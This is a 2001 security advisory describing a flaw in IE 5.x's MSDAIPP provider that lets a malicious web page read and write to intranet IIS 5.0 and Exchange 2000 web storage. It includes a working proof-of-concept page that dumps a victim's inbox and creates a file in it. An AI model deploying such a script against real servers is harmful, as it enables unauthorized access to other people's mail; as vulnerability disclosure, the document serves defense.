guninski@guninski.com Georgi Guninski security advisory #40, 2001
   
   Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000
   
   Systems affected:
   The bug is in IE 5.x (Win2K, probably others) but interaction with IIS 5.0 (or Exchange web
   storage) is required
   
   Risk: High
   Date: 28 March 2001
   
   Legal Notice:
   This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
   You may not modify it and distribute it or distribute parts of it without the author's
   written permission.
   
   Disclaimer:
   The information in this advisory is believed to be true based on experiments though it may be
   false.
   The opinions expressed in this advisory and program are my own and not of any company.
   The usual standard disclaimer applies, especially the fact that Georgi Guninski
   is not liable for any damages caused by direct or  indirect use of the information
   or functionality provided by this advisory or program.
   Georgi Guninski bears no responsibility for content or misuse of this advisory or program or
   any derivatives thereof.
   
   Description:
   If a malicous web page is browsed with IE it is possible to list the directories of arbitrary
   IIS 5.0 servers
   to which the browsing user has access. Under certain circumtances it is also possible to read
   the
   user's email or folders if it is stored on an Exchange 2000 server with web storage (it uses
   IIS 5.0).
   It is also possible to create (or probably modify) files on the Exchange 2000 server with web
   storage.
   
   Details:
   
   This is a complex problem and I am really busy to write lengthy advisory.
   The probem seems to be "Microsoft OLE DB Provider for Internet Publishing" (MSDAIPP.DSO).
   Basically it gives scripting interface for accessing and manipulating object on IIS 5.0 or
   web storage.
   The problem is it allows connecting to arbitrary servers, not only to the server from which
   the html page is loaded.
   Which is worse, if the IIS 5.0 is in "Local intranet zone" IE by default automatically
   authenticates to it
   without prompting the user.
   
   Here is Microsoft's response to my initial report to them
   (I sent them a similiar and earlier version of the example bellow)
   -----------------------------------------------------------------------------
   From: "Microsoft Security Response Center" <secure@microsoft.com>
   Hello Georgi,
   
   Thanks for your note. We would appreciate a little more detail as to
   what you think can be done with this. If at all possible please lay out
   all the parameters when you do go public so you are not just scaring
   people with your rankings. Not sure how you can actually exploit this
   especially in e-mail in restricted sites zone with all scripting turned
   off. Visiting malicious web sites is not real exploit scenario and if
   the Intranet zone which is a trusted zone is locked down what can you
   do?
   .............
   -----------------------------------------------------------------------------
   
   So here is an example.
   
   The following example msdaippdemo.html works for me, don't know for you, let me know if it
   does not work.
   msdaippdemo.html may reside anywhere on the internet.
   It contains two "variables" that must be changed - INTRASERVER and USERNAME.
   If msdaipp.html is browsed with IE 5.x by user USERNAME (in NT DOMAIN) and INTRASERVER is IIS
   5.0 with Exchange 2000 with web storage
   (note: INTRASERVER must be a name which is in the "Local intranet zone" in the context of
   USERNAME)
   then an attacker may obtain all the messages in USERNAME's inbox and send them to arbitrary
   server and in addition a
   file "newlycreatedfile.html" shall be created in USERNAME's inbox.
   In order the attack to succeed the attacker must know the names INTRASERVER and USERNAME (and
   change them in msdaippdemo.html)
   But if the attacker is insider in the NT DOMAIN he knows both of them, so basically it
   allows playing with other people's Exchange 2000 with web storage mailboxes.
   If INTRASERVER is running just plain IIS 5.0 with Indexing service enabled a directory
   listing shall be obtained
   if you edit the example a little - change "Data Source=http://INTRASERVER/"
--msdaippdemo.html-------------------------------------------------------------
<HTML>
Written by Georgi Guninski
<SCRIPT>
function f()
{
conn=new ActiveXObject("ADODB.Connection");
conn.ConnectionString='Provider=MSDAIPP.DSO.1;Data Source=http://INTRASERVER/exchange/USERNAME/inbox';
//change INTRASERVER and USERNAME with real values
rec=new ActiveXObject("ADODB.Record");
conn.Open();
rs=new ActiveXObject("ADODB.Recordset");
rs.Open("SELECT * from SCOPE()",conn);
win=window.open("about:blank");
win.document.open();
// DISPLAYS ALL MESSAGES FROM USER'S INBOX
while (!rs.EOF)
{
for(i=0;i<rs.Fields.Count;i++)
 {
 win.document.writeln(rs.Fields(i).Name+"="+rs.Fields(i).Value+"<BR>");
 }
rs.MoveNext();
}
rec.Open ("newlycreatedfile.html",conn,3,0);
//create file newlycreatedfile.html
win.document.close();
}
setTimeout("f()",1000);
</SCRIPT>
</HTML>
---------------------------------------------------------------

   Workaround: To solve this particular issue disable Active Scripting, though I do not
   recommend using IE for browsing
   the Internet because this is dangerous.
   
   Note: secure@microsoft.com wrote "Visiting malicious web sites is not real exploit scenario"
   
   Vendor status:
   Microsoft was informed on 22 March 2001